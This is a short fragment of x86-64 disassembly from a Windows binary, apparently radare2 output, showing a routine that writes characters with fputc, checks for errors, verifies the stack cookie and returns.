jmp 0x140029b0b
xor esi, esi
jmp 0x140029b12
mov esi, 0xffffffff
jmp 0x140029b12
mov rdx, qword [rdi + 0x80]
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, 0xffffffff
cmove esi, eax
jmp 0x140029b12
cmp eax, 3
jne 0x140029b10
mov rdx, qword [rdi + 0x80]
movsx ecx, byte [rsp + 0x5f]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, 0xffffffff
cmove esi, eax
mov ebp, esi
mov esi, ebp
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140118870
mov eax, esi
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret